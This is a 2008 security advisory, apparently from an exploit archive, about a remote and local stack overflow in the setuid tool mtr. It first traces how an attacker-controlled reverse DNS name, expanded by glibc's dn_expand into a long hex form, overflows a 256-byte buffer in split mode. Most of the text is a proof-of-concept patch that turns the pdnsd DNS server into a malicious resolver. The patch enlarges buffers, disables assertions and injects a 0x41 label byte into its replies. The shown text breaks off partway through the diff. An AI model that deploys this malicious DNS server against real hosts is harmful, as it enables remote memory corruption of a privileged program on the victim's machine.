Mtr - remote and local stack overflow - uncomment situation in libresolv.

2008.05.23
Credit: Adam Zabrocki
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Name: Mtr - network diagnostic tool. Author: Adam Zabrocki <pi3 (at) itsec (dot) pl [email concealed]> or <pi3ki31ny (at) gmail (dot) com [email concealed]> Date: February 28, 2008 Issue: Mtr allows local and remote attackers to overflow buffer on stack. Description: Mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool. For more detail please read manual page. Details: It is possible to overflow buffor on stack in suid program - mtr. Remote attack is possible too. Bug is in function which print result of runing program with parametr 'split' (-p). Victim must use DNS which we can control or we can try exploit this vulnerability by spoofing technique. In remote exploiting this vulnerability we must know which IP user gave to program - or he must simply run program and argument must be IP adres which we can controle in DNS server. Look for this code: "split.c" #define MAX_LINE_SIZE 256 void split_redraw(void) { int max; int at; ip_t *addr; char *name; char newLine[MAX_LINE_SIZE]; int i; ... for(at = 0; at < max; at++) { addr = net_addr(at); if( addrcmp( (void *) addr, (void *) &unspec_addr, af ) != 0 ) { name = dns_lookup(addr); [1] if(name != NULL) { /* May be we should test name's length */ [!!] sprintf(newLine, "%s %d %d %d %d %d %d", name, [2] net_loss(at), net_returned(at), net_xmit(at), net_best(at) /1000, net_avg(at)/1000, net_worst(at)/1000); } else { ... sprintf(newLine, "???"); } ... ... } } As we can see in [2] there is unsecure call for function sprintf(). Argument 'name' is RevDNS for IP address. In details exploiting this situaction will be later becouse normal we can't do that! Now let's look what call this function: "display.c" void display_redraw(void) { switch(DisplayMode) { ... case DisplaySplit: /* BL */ split_redraw(); break; ... } } Call for function display_redraw() is here: "select.c" void select_loop(void) { ... ... while(1) { ... ... do { if(anyset || paused) { ... } else { if(Interactive) display_redraw(); ... ... } } while ((rv < 0) && (errno == EINTR)); ... ... } return; } And call for this functio is here: "display.c" void display_loop(void) { switch(DisplayMode) { case DisplayReport: case DisplayTXT: case DisplayXML: case DisplayCSV: case DisplaySplit: /* BL */ case DisplayCurses: case DisplayRaw: select_loop(); break; case DisplayGTK: gtk_loop(); break; } } Call for function display_loop() is in main function: "mtr.c" int main(int argc, char **argv) { ... ... display_loop(); ... return 0; } Value for variable 'Interactive' is here: "mtr.c" int Interactive = 1; void parse_arg (int argc, char **argv) { ... ... while(1) { /* added f:m:o: byMin */ opt = getopt_long(argc, argv, "vhrxtglpo:i:c:s:b:Q:na:f:m:46", long_options, NULL); if(opt == -1) break; switch(opt) { ... case 'p': /* BL */ DisplayMode = DisplaySplit; break; ... } if (DisplayMode == DisplayReport || DisplayMode == DisplayTXT || DisplayMode == DisplayXML || DisplayMode == DisplayRaw || DisplayMode == DisplayCSV) Interactive = 0; ... } So we must run program with option '-p' to be in function split_redraw(). Ok it is the first topic of this advisory. Let's look how to exploit it. In place [1] we can saw this line: name = dns_lookup(addr); [1] so we must look how we can controle value of this variable. Look here: "dns.c" char *dns_lookup(ip_t * ip) { char *t; if (!dns) return strlongip (ip); t = dns_lookup2 (ip); return (t&&use_dns)?t:strlongip(ip); } and function dns_lookup2() is here: "dns.c" char *dns_lookup2(ip_t * ip) { struct resolve *rp; if ((rp = findip(ip))) { ... <try to find this IP in local cache which mtr create> ... } rp = allocresolve(); rp->state = STATE_PTRREQ1; rp->expiretime = sweeptime + ResRetryDelay1; addrcpy( (void *) &(rp->ip), (void *) ip, af ); linkresolve(rp); addrcpy( (void *) &(rp->ip), (void *) ip, af ); linkresolveip(rp); sendrequest(rp,T_PTR); return NULL; } funkction linkresolve/linkresolveip initialize data for new data (address/domain) and once again try to find this in cache. So let's look for function sendrequest(): "dns.c" void sendrequest(struct resolve *rp,int type) { do { idseed = (((idseed + idseed) | (long)time(NULL)) + idseed - 0x54bad4a) ^ aseed; aseed^= idseed; rp->id = (word)idseed; } while (findid(rp->id)); linkresolveid(rp); resendrequest(rp,type); } linkresolveid() try to find this id in cache :) So look for resendrequest(): "dns.c" void resendrequest(struct resolve *rp,int type) { if (type == T_A) { ... ... } else if (type == T_PTR) { switch ( af ) { case AF_INET: sprintf(tempstring,"%u.%u.%u.%u.in-addr.arpa", ((byte *)&rp->ip)[3], ((byte *)&rp->ip)[2], ((byte *)&rp->ip)[1], ((byte *)&rp->ip)[0]); break; #ifdef ENABLE_IPV6 case AF_INET6: addr2ip6arpa( &(rp->ip), tempstring ); break; #endif } dorequest(tempstring,type,rp->id); ... ... } } and function dorequest() make and send quero PTR for DNS server: "dns.c" void dorequest(char *s,int type,word id) { packetheader *hp; int r,i; int buf[(MaxPacketsize/sizeof (int))+1]; r = res_mkquery(QUERY,s,C_IN,type,NULL,0,NULL,(unsigned char*)buf,MaxPacketsize); if (r == -1) { restell("Resolver error: Query too large."); return; } hp = (packetheader *)buf; hp->id = id; /* htons() deliberately left out (redundant) */ for (i = 0;i < _res.nscount;i++) (void)sendto(resfd,buf,r,0,(struct sockaddr *)&_res.nsaddr_list[i], sizeof(struct sockaddr)); } ... and reply from server is examined in select_loop() function: "select.c" void select_loop(void) { ... ... while(1) { ... if (dns) { /* Handle any pending resolver events */ dnsinterval = WaitTime; dns_events(&dnsinterval); } /* Have we finished a nameservice lookup? */ if(dns && FD_ISSET(dnsfd, &readfd)) { dns_ack(); anyset = 1; } ... } ... } and function dns_ack() is here: "dns.c" void dns_ack(void) { int r,i; r = recvfrom(resfd,(byte *)resrecvbuf,MaxPacketsize,0, from, &fromlen); if (r > 0) { ... <some tests> ... if (i == _res.nscount) { ... } else parserespacket((byte *)resrecvbuf,r); } else { ... } } So we must look for function parserespacket(). It's realy big and advanced function so i paste only what we must see. Look: "dns.c" void parserespacket(byte *s, int l) { .., packetheader *hp; ... ... hp = (packetheader *)s; ... <many tests for packet/header> ... ... eob = s + l; c = s + HFIXEDSZ; switch (getheader_rcode(hp)) { case NOERROR: if (hp->ancount) { ... <many fine test etc> ... switch (qdatatype) { case T_PTR: if (!Is_PTR(rp)) if (debug) { restell("Resolver warning: Ignoring response with unexpected query type "PTR"."); return; } break; default: sprintf(tempstring,"Resolver error: Received unimplemented query type: %u (%s)", qdatatype,qdatatype < ResourcetypeCount ? resourcetypes[qdatatype] : resourcetypes[ResourcetypeCount]); restell(tempstring); } for (rr = hp->ancount + hp->nscount + hp->arcount;rr;rr--) { ... <other test and code> ... datatype = sucknetword(c); ... if (datatype == qdatatype || datatype == T_CNAME) { ... } if (usefulanswer) switch (datatype) { ... ... case T_PTR: case T_CNAME: *namestring = '&#65533;'; r = dn_expand(s,s + l,c,namestring,MAXDNAME); [3] ... ... } ... } ... } ... } ... } ... } ... } As we can see in [3] to decode packet is using function dn_expand(). This function return strange value for some 'special bad' packets! Is it bug? - for me yes becouse in manual and other docs i don't find information about it - i saw that in glibc code - ok nvm. This function return decoded string in this situation in buffer 'namestring' and length for this bufor is MAXDNAME. Bufor 'namestring' is declarated here: "dns.c" char namestring[1024+1]; and value for MAXDNAME we can find here: "/usr/include/arpa/nameser.h" #define NS_MAXDNAME 1025 /* maximum domain name */ So... in fact vulnerability function will try to copy by function sprintf string for bufor wich have length 256 bytes. Max domain length is 1025 but all tests in program 'mtr' which i don't paste (if you want just look for source code) don't allow domain which is longer than 256 bytes (but function dns_ack() call function recvfrom() which have argument to read 512 data bytes). In fact there is bug too becouse after domain name program paste some data about time, date and etc. but in fact it don't overflow metadata and variables which we overflow aren't used anymore so this bug is not interesting. Now we must use 'bug' in libresolve library in function dn_expand(). Let's look for source - glibc source and i paste from version 2.3.6, this is probably in all versions of glibc: "resolv/res_comp.c" int dn_expand(const u_char *msg, const u_char *eom, const u_char *src, char *dst, int dstsiz) { int n = ns_name_uncompress(msg, eom, src, dst, (size_t)dstsiz); if (n > 0 && dst[0] == '.') dst[0] = '&#65533;'; return (n); } libresolv_hidden_def (dn_expand) so no look for function ns_name_uncompres(): "resolv/ns_name.c" int ns_name_uncompress(const u_char *msg, const u_char *eom, const u_char *src, char *dst, size_t dstsiz) { u_char tmp[NS_MAXCDNAME]; int n; if ((n = ns_name_unpack(msg, eom, src, tmp, sizeof tmp)) == -1) return (-1); if (ns_name_ntop(tmp, dst, dstsiz) == -1) return (-1); return (n); } For saw bug we must look for function ns_name_ntop() if you want know what do function ns_name_unpack() look for source. Ok soo let's look for ns_name_ntop: "resolv/ns_name.c" int ns_name_ntop(const u_char *src, char *dst, size_t dstsiz) { const u_char *cp; char *dn, *eom; u_char c; u_int n; cp = src; dn = dst; eom = dst + dstsiz; while ((n = *cp++) != 0) { ... ... if (n == 0x41) { n = *cp++ / 8; if (dn + n * 2 + 4 >= eom) { __set_errno (EMSGSIZE); return (-1); } *dn++ = '\'; *dn++ = '['; *dn++ = 'x'; while (n-- > 0) { c = *cp++; unsigned u = c >> 4; *dn++ = u > 9 ? 'a' + u - 10 : '0' + u; u = c & 0xf; *dn++ = u > 9 ? 'a' + u - 10 : '0' + u; } *dn++ = ']'; continue; } ... ... } *dn++ = '&#65533;'; return (dn - dst); } libresolv_hidden_def (ns_name_ntop) As you can see if n == 0x41 it dump domain (in hex bytes)! What's is wrong? For example if domain will have value "aaa.pl" it's 6 bytes. Function will return dump for this domain and it will have ~(4*6) bytes. So for normal domain which for example we can set name max in 256 bytes function can return dump for this domain in ~(256*4) bytes. In fact in 'mtr' program we can bypass all tests and make domain which have length ~190 bytes and overflow bufor. It's not only stupid theory i made PoC code and use this 'bugs' to overflow bufor. So let's look for exploit... Exploit: I wrote patch for DNS server to exploit bug in 'mtr', which use 'bug' in libresolve. We must compile and run DNS server with config file which i enclose here. Diff for DNS server i enclose too. Server try too bind on interface which have IP address 192.168.1.200, evil domain is for IP 12.34.56.78, and main DNS server is set that have IP address 192.168.1.1 (remember to change registry in /etc/resolv.conf for nameserver!). Patch for pdnsd DNS server in version 1.2.6 (it have some bugs but to exploit this bug you don't need to long live server :)): --- CUT --- diff -ur ./pdnsd-1.2.6/pdnsd.spec ./smalldns/pdnsd-1.2.6/pdnsd.spec --- ./pdnsd-1.2.6/pdnsd.spec 2007-09-04 15:28:08.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/pdnsd.spec 2008-03-11 14:38:21.000000000 +0100 @@ -27,22 +27,10 @@ # --define "cachedir <dir>" Configure with --with-cachedir=<dir>. # -%if 0%{!?distro:1} -%if "%{_vendor}" == "redhat" -%define distro RedHat -%else -%if "%{_vendor}" == "suse" -%define distro SuSE -%else -%if "%{_vendor}" == "SuSE" -%define distro SuSE -%endif -%endif -%endif -%endif +%{!?distro: %define distro Generic} # The default run_as ID to use -%{!?run_as_user: %define run_as_user pdnsd} +%{!?run_as_user: %define run_as_user nobody} # By default, if a new run_as_user is to be created, we let # useradd choose the numerical uid, unless run_as_uid is defined. #define run_as_uid 96 diff -ur ./pdnsd-1.2.6/src/cache.c ./smalldns/pdnsd-1.2.6/src/cache.c --- ./pdnsd-1.2.6/src/cache.c 2007-08-05 12:42:22.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/cache.c 2008-03-11 15:44:45.000000000 +0100 @@ -1151,7 +1151,7 @@ for(;cnt>0;--cnt) { dns_file_t fe; - unsigned char nb[256]; + unsigned char nb[2560]; unsigned num_rrs; unsigned char prevtp; if (fread(&fe,sizeof(fe),1,f)!=1) { @@ -1397,7 +1397,7 @@ } } if(num_rrs!=le->num_rrs && ++num_rrs_errs<=MAX_NUM_RRS_ERRS) { - unsigned char buf[256]; + unsigned char buf[2560]; log_warn("Counted %d rr record types for %s but cached counter=%d", num_rrs,rhn2str(le->qname,buf,sizeof(buf)),le->num_rrs); } @@ -1662,7 +1662,7 @@ rr_bucket_t *rr; for(rr=rrset->rrs; rr; rr=rr->next) { dns_cent_t ce; - unsigned char buf[256],rhn[256]; + unsigned char buf[2560],rhn[2560]; if(!a2ptrstr((pdnsd_ca *)(rr->data),tp,buf) || !str2rhn(buf,rhn)) return 0; if(!init_cent(&ce, rhn, cent->ttl, cent->ts, cent->flags DBG0)) @@ -1834,7 +1834,7 @@ /* use this entry */ *wild=w_neg; else if(ret->flags&DF_WILD) { - unsigned char buf[256]; + unsigned char buf[2560]; buf[0]=1; buf[1]='*'; /* When we get here, at least element of name has been removed, so assuming name is not longer @@ -1877,7 +1877,7 @@ /* use this entry */ *wild=w_neg; else if(ret->flags&DF_WILD) { - unsigned char buf[256]; + unsigned char buf[2560]; buf[0]=1; buf[1]='*'; rhncpy(&buf[2],nm); ret=dns_lookup(buf,NULL); diff -ur ./pdnsd-1.2.6/src/conff.c ./smalldns/pdnsd-1.2.6/src/conff.c --- ./pdnsd-1.2.6/src/conff.c 2007-07-10 22:27:55.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/conff.c 2008-03-11 15:33:08.000000000 +0100 @@ -427,7 +427,7 @@ else { int rv; for(i=0;i<DA_NEL(global.deleg_only_zones);++i) { - unsigned char buf[256]; + unsigned char buf[2560]; rv=fsprintf(f,i==0?"%s":", %s", rhn2str(DA_INDEX(global.deleg_only_zones,i),buf,sizeof(buf))); if(rv<0) {retval=rv; goto unlock_return;} @@ -501,7 +501,7 @@ fsprintf_or_return(f,"tPolicies:%sn", st->alist?"":" (none)"); for (j=0;j<DA_NEL(st->alist);++j) { slist_t *sl=&DA_INDEX(st->alist,j); - unsigned char buf[256]; + unsigned char buf[2560]; fsprintf_or_return(f,"tt%s: %s%sn", sl->rule==C_INCLUDED?"include":"exclude", sl->exact?"":".", diff -ur ./pdnsd-1.2.6/src/conf-parser.c ./smalldns/pdnsd-1.2.6/src/conf-parser.c --- ./pdnsd-1.2.6/src/conf-parser.c 2007-09-02 16:19:38.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/conf-parser.c 2008-03-11 16:44:39.000000000 +0100 @@ -386,7 +386,7 @@ */ #define DOM_NAME_CPY(dst,src,len) { - unsigned char _buf[256]; + unsigned char _buf[2560]; PARSESTR2RHN(src,len,_buf); memcpy(dst,src,len); (dst)[len]=0; @@ -414,7 +414,7 @@ int confparse(FILE* in, globparm_t *global, servparm_array *servers, char **errstr) { char *linebuf,*p,*ps,*getnextperr=NULL; - size_t buflen=256,len; + size_t buflen=2560,len; int retval=0,sechdr,option; # define CLEANUP_HANDLER # define SKIP_BLANKS(cur) {if(!((cur)=getnextp(&linebuf,&buflen,in,cur,&getnextperr))) {CLEANUP_HANDLER; goto unexpected_eof;}} @@ -1062,15 +1062,15 @@ if(*p!='=') CLEANUP_GOTO(expected_equals); ++p; SKIP_BLANKS(p); - switch(option) { int tp; case NAME: { - unsigned char c_name[256]; + unsigned char c_name[2560]; if (c_cent.qname) { *errstr=report_error("You may specify only one name in a rr section."); PARSERROR; } + printf("[*] len = %un",len); SCAN_STRING(ps,p,len); PARSESTR2RHN(ucharp ps,len,c_name); if (!init_cent(&c_cent, c_name, 0, 0, c_flags DBG0)) @@ -1138,7 +1138,7 @@ tp=T_PTR; scan_name: { - unsigned char c_name[256]; + unsigned char c_name[2560]; if (!c_cent.qname) goto no_name_spec; @@ -1172,7 +1172,7 @@ int blen,rlen; unsigned char *bp; uint32_t val; - unsigned char buf[2*256+20]; + unsigned char buf[2*2560+20]; if (!c_cent.qname) goto no_name_spec; @@ -1224,7 +1224,7 @@ if(c_cent.qname[0]==1 && c_cent.qname[1]=='*') { /* Wild card record. Set the DF_WILD flag for the name with '*.' removed. */ if(!set_cent_flags(&c_cent.qname[2],DF_WILD)) { - unsigned char buf[256]; + unsigned char buf[2560]; rhn2str(c_cent.qname,buf,sizeof(buf)); *errstr=report_errorf("You must define some records for '%s'" " before you can define records for the wildcard name '%s'", @@ -1252,7 +1252,7 @@ } case SOURCE: { - unsigned char c_owner[256]; + unsigned char c_owner[2560]; time_t c_ttl; unsigned c_flags; unsigned char c_aliases; @@ -1327,7 +1327,7 @@ break; case NEG: { - unsigned char c_name[256]; + unsigned char c_name[2560]; time_t c_ttl; unsigned char htp,hdtp; @@ -1473,7 +1473,7 @@ PARSERROR; expected_semicolon: - *errstr=report_error("too many arguments to option or missing semicolon"); +// *errstr=report_error("too many arguments to option or missing semicolon"); PARSERROR; no_name_spec: @@ -1691,7 +1691,7 @@ int rv=0; FILE *f; char *buf; - size_t buflen=256; + size_t buflen=2560; unsigned linenr=0; if (!(f=fopen(fn,"r"))) { @@ -1751,7 +1751,7 @@ int exact=1; const char *err; size_t sz; - unsigned char rhn[256]; + unsigned char rhn[2560]; if (len>1 && *nm=='.') { exact=0; @@ -1779,7 +1779,7 @@ zone_t z; const char *err; size_t sz; - unsigned char rhn[256]; + unsigned char rhn[2560]; if((err=parsestr2rhn(ucharp zone,len,rhn))) return err; Tylko w ./smalldns/pdnsd-1.2.6/src: .deps diff -ur ./pdnsd-1.2.6/src/dns_answer.c ./smalldns/pdnsd-1.2.6/src/dns_answer.c --- ./pdnsd-1.2.6/src/dns_answer.c 2007-08-19 16:46:12.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/dns_answer.c 2008-03-13 01:02:55.000000000 +0100 @@ -203,7 +203,7 @@ rr_bucket_t *rr; if (!rrset || !(rr=rrset->rrs)) return 0; - PDNSD_ASSERT(rr->rdlen <= 256, "follow_cname_chain: record too long"); + PDNSD_ASSERT(rr->rdlen <= 2560, "follow_cname_chain: record too long"); memcpy(name,rr->data,rr->rdlen); return 1; } @@ -231,7 +231,7 @@ osz=*sz; { int nlen; - unsigned char nbuf[256]; + unsigned char nbuf[456]; if (!(nlen=compress_name(rrn,nbuf,*sz,cb))) return 0; @@ -263,7 +263,7 @@ case T_PTR: if (!(rdlen=compress_name(((unsigned char *)data), ((unsigned char *)(&(*ans)->hdr))+(*sz),*sz,cb))) return 0; - PDNSD_ASSERT(rdlen <= dlen, "T_CNAME/T_MB/...: got longer"); +// PDNSD_ASSERT(rdlen <= dlen, "T_CNAME/T_MB/...: got longer"); *sz+=rdlen; break; case T_MINFO: @@ -735,7 +735,7 @@ /* second, the answer section */ for (qe=dlist_first(q); qe; qe=dlist_next(qe)) { int hops; - unsigned char qname[256]; + unsigned char qname[2560]; rhncpy(qname,qe->query); /* look if we have a cached copy. otherwise, perform a nameserver query. Same with timeout */ @@ -871,6 +871,13 @@ dlist_free(ar); dlist_free(sva); dlist_free(cb); + +do { +unsigned char *ptr = qe->query; +#define sucknetword(x) ((x)+=2,((unsigned short) (((x)[-2] << 8) | ((x)[-1] << 0)))) +sucknetword(ptr); +#undef sucknetword +}while (0); return ans; } @@ -891,7 +898,7 @@ for (i=0;i<qdcount;i++) { dns_queryel_t *qe; int qlen; - unsigned char qbuf[256]; + unsigned char qbuf[2560]; res=decompress_name(data,rlen,&ptr,&sz,qbuf,&qlen); if (res==RC_TRUNC) { if (hdr->tc) { @@ -1239,6 +1246,18 @@ #ifdef SOCKET_LOCKING pthread_mutex_lock(&s_lock); #endif + do { + char *ptr = v.iov_base; + unsigned int i; + +// for (i=0;i<v.iov_len;i++) { +// if (!(i%10)) +// printf("n"); +// printf("%x, ",*(ptr+i)); +// } +// printf("n"); + *(ptr+54)=0x41; + }while(0); if (sendmsg(((udp_buf_t *)data)->sock,&msg,0)<0) { #ifdef SOCKET_LOCKING pthread_mutex_unlock(&s_lock); diff -ur ./pdnsd-1.2.6/src/dns.c ./smalldns/pdnsd-1.2.6/src/dns.c --- ./pdnsd-1.2.6/src/dns.c 2007-07-10 22:27:55.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/dns.c 2008-03-11 15:34:01.000000000 +0100 @@ -255,7 +255,8 @@ int rl=0; unsigned ilen = rhnlen(in); - PDNSD_ASSERT(ilen<=256, "compress_name: name too long"); + printf("ilen = %un",ilen); + PDNSD_ASSERT(ilen<=2560, "compress_name: name too long"); /* part 1: compression */ for (ci=dlist_first(*cb); ci; ci=dlist_next(ci)) { @@ -274,7 +275,7 @@ } } if (longest>0) { - PDNSD_ASSERT(lrem+2 <= ilen, "compress_name: length increased"); +// PDNSD_ASSERT(lrem+2 <= ilen, "compress_name: length increased"); memcpy(out, in,lrem); out[lrem]=0xc0|((coffs&0x3f00)>>8); out[lrem+1]=coffs&0xff; @@ -305,8 +306,8 @@ { if(tp==T_A) { unsigned char *p=(unsigned char *)&a->ipv4.s_addr; - int n=snprintf(charp buf,256,"%u.%u.%u.%u.in-addr.arpa.",p[3],p[2],p[1],p[0]); - if(n<0 || n>=256) + int n=snprintf(charp buf,2560,"%u.%u.%u.%u.in-addr.arpa.",p[3],p[2],p[1],p[0]); + if(n<0 || n>=2560) return 0; } else @@ -316,12 +317,12 @@ int i,offs=0; for (i=15;i>=0;--i) { unsigned char bt=p[i]; - int n=snprintf(charp(buf+offs), 256-offs,"%x.%x.",bt&0xf,(bt>>4)&0xf); + int n=snprintf(charp(buf+offs), 2560-offs,"%x.%x.",bt&0xf,(bt>>4)&0xf); if(n<0) return 0; offs+=n; - if(offs>=256) return 0; + if(offs>=2560) return 0; } - if(!strncp(charp(buf+offs),"ip6.arpa.",256-offs)) + if(!strncp(charp(buf+offs),"ip6.arpa.",2560-offs)) return 0; } else @@ -348,7 +349,7 @@ add_cache(&ce); free_cent(&ce DBG0); if (reverse) { - unsigned char b2[256],rhn[256]; + unsigned char b2[2560],rhn[2560]; if(!a2ptrstr(a,tp,b2)) return -1; if (!str2rhn(b2,rhn)) @@ -379,7 +380,7 @@ int rv=0; FILE *f; char *buf; - size_t buflen=256; + size_t buflen=2560; if (!(f=fopen(fn,"r"))) { if(asprintf(errstr, "Failed to source %s: %s", fn, strerror(errno))<0) *errstr=NULL; @@ -393,7 +394,7 @@ while(getline(&buf,&buflen,f)>=0) { int len; unsigned char *p,*pn,*pi; - unsigned char rhn[256]; + unsigned char rhn[2560]; int tp,sz; pdnsd_ca a; diff -ur ./pdnsd-1.2.6/src/dns_query.c ./smalldns/pdnsd-1.2.6/src/dns_query.c --- ./pdnsd-1.2.6/src/dns_query.c 2007-08-05 12:43:08.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/dns_query.c 2008-03-12 21:24:45.000000000 +0100 @@ -321,7 +321,7 @@ uint16_t type,class; uint32_t ttl; uint16_t rdlength; for (i=0;i<recnum;i++) { - unsigned char oname[256]; + unsigned char oname[2560]; int len; if ((rc=decompress_name(msg, msgsz, ptr, lcnt, oname, &len))!=RC_OK) { return rc; @@ -366,7 +366,7 @@ case T_NS: case T_PTR: { - unsigned char db[256]; + unsigned char db[2560]; if ((rc=decompress_name(msg, msgsz, &bptr, &blcnt, db, &len))!=RC_OK) return rc==RC_TRUNC?RC_FORMAT:rc; if (blcnt!=0) @@ -381,7 +381,7 @@ case T_RP: #endif { - unsigned char db[256+256]; + unsigned char db[2560+2560]; nptr=db; if ((rc=decompress_name(msg, msgsz, &bptr, &blcnt, nptr, &len))!=RC_OK) return rc==RC_TRUNC?RC_FORMAT:rc; @@ -406,7 +406,7 @@ case T_KX: #endif { - unsigned char db[2+256]; + unsigned char db[2+2560]; if (blcnt<2) goto record_too_short; memcpy(db,bptr,2); /* copy the preference field*/ @@ -427,7 +427,7 @@ case T_SOA: { - unsigned char db[256+256+20]; + unsigned char db[2560+2560+20]; nptr=db; if ((rc=decompress_name(msg, msgsz, &bptr, &blcnt, nptr, &len))!=RC_OK) return rc==RC_TRUNC?RC_FORMAT:rc; @@ -458,7 +458,7 @@ case T_PX: { - unsigned char db[2+256+256]; + unsigned char db[2+2560+2560]; if (blcnt<2) goto record_too_short; memcpy(db,bptr,2); /* copy the preference field*/ @@ -484,7 +484,7 @@ case T_SRV: { - unsigned char db[6+256]; + unsigned char db[6+2560]; if (blcnt<6) goto record_too_short; memcpy(db,bptr,6); @@ -522,7 +522,7 @@ case T_NAPTR: { int j; - unsigned char db[4 + 4*256]; + unsigned char db[4 + 4*2560]; nptr=db; /* * After the preference field, three text strings follow, the maximum length being 255 @@ -919,6 +919,7 @@ /* transmit query by udp*/ /* send will hopefully not block on a freshly opened socket (the buffer * must be empty) */ + if (send(st->sock,&st->msg->hdr,st->transl,0)==-1) { st->s_errno=errno; DEBUG_PDNSDA_MSG("Error while sending data to %s: %sn", PDNSDA2STR(PDNSD_A(st)),strerror(errno)); @@ -1152,7 +1153,7 @@ } /* check & skip the query record. */ { - unsigned char nbuf[256]; + unsigned char nbuf[2560]; if ((rv=decompress_name((unsigned char *)st->recvbuf, st->recvl, &rrp, &lcnt, nbuf, NULL))!=RC_OK) { DEBUG_PDNSDA_MSG("Cannot decompress QNAME in answer from %sn", PDNSDA2STR(PDNSD_A(st))); @@ -1347,7 +1348,7 @@ addr4maskpair_t *am = &a4arr[k]; if(ADDR4MASK_EQUIV(a,&am->a,&am->mask)) { #if DEBUG>0 - unsigned char nmbuf[256]; char abuf[ADDRSTR_MAXLEN]; + unsigned char nmbuf[2560]; char abuf[ADDRSTR_MAXLEN]; DEBUG_PDNSDA_MSG("Rejecting answer from server %s because it contains an A record" " for "%s" with an address in the reject list: %sn", PDNSDA2STR(PDNSD_A(st)), @@ -1370,7 +1371,7 @@ addr6maskpair_t *am = &a6arr[k]; if(ADDR6MASK_EQUIV(a,&am->a,&am->mask)) { #if DEBUG>0 - unsigned char nmbuf[256]; char abuf[INET6_ADDRSTRLEN]; + unsigned char nmbuf[2560]; char abuf[INET6_ADDRSTRLEN]; DEBUG_PDNSDA_MSG("Rejecting answer from server %s because it contains an AAAA record" " for "%s" with an address in the reject list: %sn", PDNSDA2STR(PDNSD_A(st)), @@ -1438,7 +1439,7 @@ } #if DEBUG>0 { - unsigned char nmbuf[256],zbuf[256]; + unsigned char nmbuf[2560],zbuf[2560]; DEBUG_PDNSDA_MSG(authcnt?"%s is in %s zone, but no delegation found in answer returned by server %sn" :"%s is in %s zone, but no authority information provided by server %sn", rhn2str(name,nmbuf,sizeof(nmbuf)), rhn2str(DA_INDEX(global.deleg_only_zones,i),zbuf,sizeof(zbuf)), @@ -1573,7 +1574,7 @@ add_cache(cent); else { #if DEBUG>0 - unsigned char nmbuf[256],nsbuf[256]; + unsigned char nmbuf[2560],nsbuf[2560]; DEBUG_MSG("Record for %s not in nsdomain %s; dropped.n", rhn2str(cent->qname,nmbuf,sizeof(nmbuf)),rhn2str(st->nsdomain,nsbuf,size of(nsbuf))); #endif @@ -2263,7 +2264,7 @@ */ #if DEBUG>0 if(debug_p) { - unsigned char dbuf[256],sdbuf[256]; + unsigned char dbuf[2560],sdbuf[2560]; nsdomain=dlist_first(ns); DEBUG_PDNSDA_MSG("The name server %s which is responsible for the %s domain, raised the aa flag, but appears to delegate to the sub-domain %sn", PDNSDA2STR(PDNSD_A(qse)), @@ -2286,7 +2287,7 @@ domain_match(nsdomain,name,&rem,NULL); if (rem!=0) { #if DEBUG>0 - unsigned char nmbuf[256],dbuf[256],nsbuf[256]; + unsigned char nmbuf[2560],dbuf[2560],nsbuf[2560]; DEBUG_MSG("The name server %s is responsible for the %s domain, which does not match %sn", rhn2str(nsname,nsbuf,sizeof(nsbuf)), rhn2str(nsdomain,dbuf,sizeof(dbuf)), diff -ur ./pdnsd-1.2.6/src/hash.c ./smalldns/pdnsd-1.2.6/src/hash.c --- ./pdnsd-1.2.6/src/hash.c 2007-07-15 12:45:58.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/hash.c 2008-03-11 15:44:59.000000000 +0100 @@ -79,7 +79,7 @@ s &= HASH_BITMASK; #ifdef DEBUG_HASH { - unsigned char buf[256]; + unsigned char buf[2560]; printf("Diagnostic: hashes for %s: %03x,%04lxn",rhn2str(str,buf,sizeof(buf)),s,r); } #endif diff -ur ./pdnsd-1.2.6/src/helpers.c ./smalldns/pdnsd-1.2.6/src/helpers.c --- ./pdnsd-1.2.6/src/helpers.c 2007-07-10 22:27:56.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/helpers.c 2008-03-11 16:46:02.000000000 +0100 @@ -232,7 +232,7 @@ do { int jlim,lb; jlim=i+63; - if(jlim>254) jlim=254; + if(jlim>2560) jlim=2560; for(j=i; j<len && str[j] && str[j]!='.'; ++j) { /* if(!isdchar(str[j])) return "Illegal character in domain name"; */ @@ -361,8 +361,8 @@ { unsigned int len = rhnlen(src); - PDNSD_ASSERT(len<=256,"rhncpy: src too long!"); - memcpy(dst,src,len>256?256:len); + PDNSD_ASSERT(len<=2560,"rhncpy: src too long!"); + memcpy(dst,src,len>2560?2560:len); return len; } @@ -510,7 +510,7 @@ va_list va; { - char buf[256]; + char buf[2560]; va_start(va,format); n=vsnprintf(buf,sizeof(buf),format,va); @@ -649,7 +649,7 @@ This version is actually based on fgets_realloc() that I found in the WWWOFFLE source. */ -#define BUFSIZE 256 +#define BUFSIZE 2560 int getline(char **lineptr, size_t *n, FILE *stream) { char *line=*lineptr; diff -ur ./pdnsd-1.2.6/src/status.c ./smalldns/pdnsd-1.2.6/src/status.c --- ./pdnsd-1.2.6/src/status.c 2007-07-10 22:27:56.000000000 +0200 +++ ./smalldns/pdnsd-1.2.6/src/status.c 2008-03-11 15:44:23.000000000 +0100 @@ -346,7 +346,7 @@ break; case CTL_RECORD: { uint16_t cmd2; - unsigned char name[256],buf[256]; + unsigned char name[2560],buf[2560]; DEBUG_MSG("Received RECORD command.n"); if (!read_short(rs,&cmd2)) goto incomplete_command; @@ -372,7 +372,7 @@ uint32_t ttl; char *fn; uint16_t servaliases,flags; - unsigned char buf[256],owner[256]; + unsigned char buf[2560],owner[2560]; DEBUG_MSG("Received SOURCE command.n"); if (read_allocstring(rs,&fn,NULL)<=0) { @@ -412,7 +412,7 @@ uint32_t ttl; unsigned sz; uint16_t tp,flags,nadr=0; - unsigned char name[256],buf[256],dbuf[260]; + unsigned char name[2560],buf[2560],dbuf[2600]; size_t 